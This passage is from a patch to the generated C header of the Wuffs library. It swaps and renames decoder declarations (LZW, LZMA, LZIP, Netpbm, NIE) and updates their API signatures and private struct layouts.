unique_ptr(wuffs_lzw__decoder__alloc()); -+ return unique_ptr(wuffs_lzma__decoder__alloc()); - } - - static inline wuffs_base__io_transformer::unique_ptr - alloc_as__wuffs_base__io_transformer() { - return wuffs_base__io_transformer::unique_ptr( -- wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); -+ wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -10095,10 +10701,10 @@ struct wuffs_lzw__decoder__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_lzw__decoder__struct() = delete; -- wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; -- wuffs_lzw__decoder__struct& operator=( -- const wuffs_lzw__decoder__struct&) = delete; -+ wuffs_lzma__decoder__struct() = delete; -+ wuffs_lzma__decoder__struct(const wuffs_lzma__decoder__struct&) = delete; -+ wuffs_lzma__decoder__struct& operator=( -+ const wuffs_lzma__decoder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -10118,7 +10724,7 @@ struct wuffs_lzw__decoder__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_lzw__decoder__initialize( -+ return wuffs_lzma__decoder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -@@ -10130,24 +10736,24 @@ struct wuffs_lzw__decoder__struct { - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_lzw__decoder__get_quirk(this, a_key); -+ return wuffs_lzma__decoder__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); -+ return wuffs_lzma__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_lzw__decoder__history_retain_length(this); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_lzma__decoder__dst_history_retain_length(this); - } - - inline wuffs_base__range_ii_u64 - workbuf_len() const { -- return wuffs_lzw__decoder__workbuf_len(this); -+ return wuffs_lzma__decoder__workbuf_len(this); - } - - inline wuffs_base__status -@@ -10155,38 +10761,34 @@ struct wuffs_lzw__decoder__struct { - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf) { -- return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); -- } -- -- inline wuffs_base__slice_u8 -- flush() { -- return wuffs_lzw__decoder__flush(this); -+ return wuffs_lzma__decoder__transform_io(this, a_dst, a_src, a_workbuf); - } - - #endif // __cplusplus --}; // struct wuffs_lzw__decoder__struct -+}; // struct wuffs_lzma__decoder__struct - - #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - --extern const char wuffs_netpbm__error__bad_header[]; --extern const char wuffs_netpbm__error__truncated_input[]; --extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; -+extern const char wuffs_lzip__error__bad_checksum[]; -+extern const char wuffs_lzip__error__bad_footer[]; -+extern const char wuffs_lzip__error__bad_header[]; -+extern const char wuffs_lzip__error__truncated_input[]; - - // ---------------- Public Consts - --#define WUFFS_NETPBM__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_LZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_LZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u - - // ---------------- Struct Declarations - --typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; -+typedef struct wuffs_lzip__decoder__struct wuffs_lzip__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -10201,14 +10803,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_netpbm__decoder__initialize( -- wuffs_netpbm__decoder* self, -+wuffs_lzip__decoder__initialize( -+ wuffs_lzip__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_netpbm__decoder(void); -+sizeof__wuffs_lzip__decoder(void); - - // ---------------- Allocs - -@@ -10218,112 +10820,54 @@ sizeof__wuffs_netpbm__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_netpbm__decoder* --wuffs_netpbm__decoder__alloc(void); -+wuffs_lzip__decoder* -+wuffs_lzip__decoder__alloc(void); - --static inline wuffs_base__image_decoder* --wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { -- return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); -+static inline wuffs_base__io_transformer* -+wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer(void) { -+ return (wuffs_base__io_transformer*)(wuffs_lzip__decoder__alloc()); - } - - // ---------------- Upcasts - --static inline wuffs_base__image_decoder* --wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( -- wuffs_netpbm__decoder* p) { -- return (wuffs_base__image_decoder*)p; -+static inline wuffs_base__io_transformer* -+wuffs_lzip__decoder__upcast_as__wuffs_base__io_transformer( -+ wuffs_lzip__decoder* p) { -+ return (wuffs_base__io_transformer*)p; - } - - // ---------------- Public Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__get_quirk( -- const wuffs_netpbm__decoder* self, -+wuffs_lzip__decoder__get_quirk( -+ const wuffs_lzip__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__set_quirk( -- wuffs_netpbm__decoder* self, -+wuffs_lzip__decoder__set_quirk( -+ wuffs_lzip__decoder* self, - uint32_t a_key, - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_image_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_frame_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_frame( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_netpbm__decoder__frame_dirty_rect( -- const wuffs_netpbm__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_netpbm__decoder__num_animation_loops( -- const wuffs_netpbm__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__num_decoded_frame_configs( -- const wuffs_netpbm__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__num_decoded_frames( -- const wuffs_netpbm__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__restart_frame( -- wuffs_netpbm__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzip__decoder__dst_history_retain_length( -+ const wuffs_lzip__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_netpbm__decoder__set_report_metadata( -- wuffs_netpbm__decoder* self, -- uint32_t a_fourcc, -- bool a_report); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_lzip__decoder__workbuf_len( -+ const wuffs_lzip__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__tell_me_more( -- wuffs_netpbm__decoder* self, -+wuffs_lzip__decoder__transform_io( -+ wuffs_lzip__decoder* self, - wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__history_retain_length( -- const wuffs_netpbm__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_netpbm__decoder__workbuf_len( -- const wuffs_netpbm__decoder* self); -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); - - #ifdef __cplusplus - } // extern "C" -@@ -10338,7 +10882,7 @@ wuffs_netpbm__decoder__workbuf_len( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_netpbm__decoder__struct { -+struct wuffs_lzip__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -10349,42 +10893,41 @@ struct wuffs_netpbm__decoder__struct { - struct { - uint32_t magic; - uint32_t active_coroutine; -- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; -+ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; - wuffs_base__vtable null_vtable; - -- uint32_t f_pixfmt; -- uint32_t f_width; -- uint32_t f_height; -- uint32_t f_max_value; -- uint8_t f_call_sequence; -- uint64_t f_frame_config_io_position; -- uint32_t f_dst_x; -- uint32_t f_dst_y; -- wuffs_base__pixel_swizzler f_swizzler; -+ bool f_ignore_checksum; -+ uint64_t f_dsize_have; -+ uint64_t f_ssize_have; - -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; - } private_impl; - -+ struct { -+ wuffs_crc32__ieee_hasher f_crc32; -+ wuffs_lzma__decoder f_lzma; -+ -+ struct { -+ uint64_t scratch; -+ } s_do_transform_io; -+ } private_data; -+ - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_netpbm__decoder__alloc()); -+ return unique_ptr(wuffs_lzip__decoder__alloc()); - } - -- static inline wuffs_base__image_decoder::unique_ptr -- alloc_as__wuffs_base__image_decoder() { -- return wuffs_base__image_decoder::unique_ptr( -- wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); -+ static inline wuffs_base__io_transformer::unique_ptr -+ alloc_as__wuffs_base__io_transformer() { -+ return wuffs_base__io_transformer::unique_ptr( -+ wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -10400,10 +10943,10 @@ struct wuffs_netpbm__decoder__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_netpbm__decoder__struct() = delete; -- wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; -- wuffs_netpbm__decoder__struct& operator=( -- const wuffs_netpbm__decoder__struct&) = delete; -+ wuffs_lzip__decoder__struct() = delete; -+ wuffs_lzip__decoder__struct(const wuffs_lzip__decoder__struct&) = delete; -+ wuffs_lzip__decoder__struct& operator=( -+ const wuffs_lzip__decoder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -10423,128 +10966,327 @@ struct wuffs_netpbm__decoder__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_netpbm__decoder__initialize( -+ return wuffs_lzip__decoder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -- inline wuffs_base__image_decoder* -- upcast_as__wuffs_base__image_decoder() { -- return (wuffs_base__image_decoder*)this; -+ inline wuffs_base__io_transformer* -+ upcast_as__wuffs_base__io_transformer() { -+ return (wuffs_base__io_transformer*)this; - } - - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_netpbm__decoder__get_quirk(this, a_key); -+ return wuffs_lzip__decoder__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); -+ return wuffs_lzip__decoder__set_quirk(this, a_key, a_value); - } - -- inline wuffs_base__status -- decode_image_config( -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_lzip__decoder__dst_history_retain_length(this); - } - -- inline wuffs_base__status -- decode_frame_config( -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_lzip__decoder__workbuf_len(this); - } - - inline wuffs_base__status -- decode_frame( -- wuffs_base__pixel_buffer* a_dst, -+ transform_io( -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- return wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -- } -- -- inline wuffs_base__rect_ie_u32 -- frame_dirty_rect() const { -- return wuffs_netpbm__decoder__frame_dirty_rect(this); -+ wuffs_base__slice_u8 a_workbuf) { -+ return wuffs_lzip__decoder__transform_io(this, a_dst, a_src, a_workbuf); - } - -- inline uint32_t -- num_animation_loops() const { -- return wuffs_netpbm__decoder__num_animation_loops(this); -- } -+#endif // __cplusplus -+}; // struct wuffs_lzip__decoder__struct - -- inline uint64_t -- num_decoded_frame_configs() const { -- return wuffs_netpbm__decoder__num_decoded_frame_configs(this); -- } -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- inline uint64_t -- num_decoded_frames() const { -- return wuffs_netpbm__decoder__num_decoded_frames(this); -- } -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) - -- inline wuffs_base__status -- restart_frame( -- uint64_t a_index, -- uint64_t a_io_position) { -- return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) - -- inline wuffs_base__empty_struct -- set_report_metadata( -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); -- } -+// ---------------- Status Codes - -- inline wuffs_base__status -- tell_me_more( -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -- } -+extern const char wuffs_lzw__error__bad_code[]; -+extern const char wuffs_lzw__error__truncated_input[]; - -- inline uint64_t -- history_retain_length() const { -- return wuffs_netpbm__decoder__history_retain_length(this); -- } -+// ---------------- Public Consts - -- inline wuffs_base__range_ii_u64 -- workbuf_len() const { -- return wuffs_netpbm__decoder__workbuf_len(this); -- } -+#define WUFFS_LZW__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#endif // __cplusplus --}; // struct wuffs_netpbm__decoder__struct -+#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624u - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) -+// ---------------- Struct Declarations - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) -+typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; - --// ---------------- Status Codes -+#ifdef __cplusplus -+extern "C" { -+#endif - --extern const char wuffs_nie__error__bad_header[]; --extern const char wuffs_nie__error__truncated_input[]; --extern const char wuffs_nie__error__unsupported_nie_file[]; -+// ---------------- Public Initializer Prototypes - --// ---------------- Public Consts -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_lzw__decoder__initialize( -+ wuffs_lzw__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); -+ -+size_t -+sizeof__wuffs_lzw__decoder(void); -+ -+// ---------------- Allocs -+ -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. -+ -+wuffs_lzw__decoder* -+wuffs_lzw__decoder__alloc(void); -+ -+static inline wuffs_base__io_transformer* -+wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { -+ return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); -+} -+ -+// ---------------- Upcasts -+ -+static inline wuffs_base__io_transformer* -+wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( -+ wuffs_lzw__decoder* p) { -+ return (wuffs_base__io_transformer*)p; -+} -+ -+// ---------------- Public Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_lzw__decoder__get_quirk( -+ const wuffs_lzw__decoder* self, -+ uint32_t a_key); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzw__decoder__set_quirk( -+ wuffs_lzw__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzw__decoder__dst_history_retain_length( -+ const wuffs_lzw__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_lzw__decoder__workbuf_len( -+ const wuffs_lzw__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzw__decoder__transform_io( -+ wuffs_lzw__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 -+wuffs_lzw__decoder__flush( -+ wuffs_lzw__decoder* self); -+ -+#ifdef __cplusplus -+} // extern "C" -+#endif -+ -+// ---------------- Struct Definitions -+ -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C -+ -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_lzw__decoder__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. -+ -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; -+ wuffs_base__vtable null_vtable; -+ -+ uint32_t f_pending_literal_width_plus_one; -+ uint32_t f_literal_width; -+ uint32_t f_clear_code; -+ uint32_t f_end_code; -+ uint32_t f_save_code; -+ uint32_t f_prev_code; -+ uint32_t f_width; -+ uint32_t f_bits; -+ uint32_t f_n_bits; -+ uint32_t f_output_ri; -+ uint32_t f_output_wi; -+ uint32_t f_read_from_return_value; -+ uint16_t f_prefixes[4096]; -+ -+ uint32_t p_transform_io; -+ uint32_t p_write_to; -+ } private_impl; -+ -+ struct { -+ uint8_t f_suffixes[4096][8]; -+ uint16_t f_lm1s[4096]; -+ uint8_t f_output[8199]; -+ } private_data; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+ -+ // On failure, the alloc_etc functions return nullptr. They don't throw. -+ -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_lzw__decoder__alloc()); -+ } -+ -+ static inline wuffs_base__io_transformer::unique_ptr -+ alloc_as__wuffs_base__io_transformer() { -+ return wuffs_base__io_transformer::unique_ptr( -+ wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); -+ } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_lzw__decoder__struct() = delete; -+ wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; -+ wuffs_lzw__decoder__struct& operator=( -+ const wuffs_lzw__decoder__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) -+ -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_lzw__decoder__initialize( -+ this, sizeof_star_self, wuffs_version, options); -+ } -+ -+ inline wuffs_base__io_transformer* -+ upcast_as__wuffs_base__io_transformer() { -+ return (wuffs_base__io_transformer*)this; -+ } -+ -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_lzw__decoder__get_quirk(this, a_key); -+ } -+ -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); -+ } -+ -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_lzw__decoder__dst_history_retain_length(this); -+ } -+ -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_lzw__decoder__workbuf_len(this); -+ } -+ -+ inline wuffs_base__status -+ transform_io( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); -+ } -+ -+ inline wuffs_base__slice_u8 -+ flush() { -+ return wuffs_lzw__decoder__flush(this); -+ } -+ -+#endif // __cplusplus -+}; // struct wuffs_lzw__decoder__struct -+ -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) -+ -+// ---------------- Status Codes -+ -+extern const char wuffs_netpbm__error__bad_header[]; -+extern const char wuffs_netpbm__error__truncated_input[]; -+extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; - --#define WUFFS_NIE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+// ---------------- Public Consts - --#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - - // ---------------- Struct Declarations - --typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; -+typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -10559,14 +11301,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_nie__decoder__initialize( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__initialize( -+ wuffs_netpbm__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_nie__decoder(void); -+sizeof__wuffs_netpbm__decoder(void); - - // ---------------- Allocs - -@@ -10576,19 +11318,19 @@ sizeof__wuffs_nie__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_nie__decoder* --wuffs_nie__decoder__alloc(void); -+wuffs_netpbm__decoder* -+wuffs_netpbm__decoder__alloc(void); - - static inline wuffs_base__image_decoder* --wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { -- return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); -+wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); - } - - // ---------------- Upcasts - - static inline wuffs_base__image_decoder* --wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( -- wuffs_nie__decoder* p) { -+wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_netpbm__decoder* p) { - return (wuffs_base__image_decoder*)p; - } - -@@ -10596,35 +11338,35 @@ wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__get_quirk( -- const wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__get_quirk( -+ const wuffs_netpbm__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__set_quirk( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__set_quirk( -+ wuffs_netpbm__decoder* self, - uint32_t a_key, - uint64_t a_value); - - 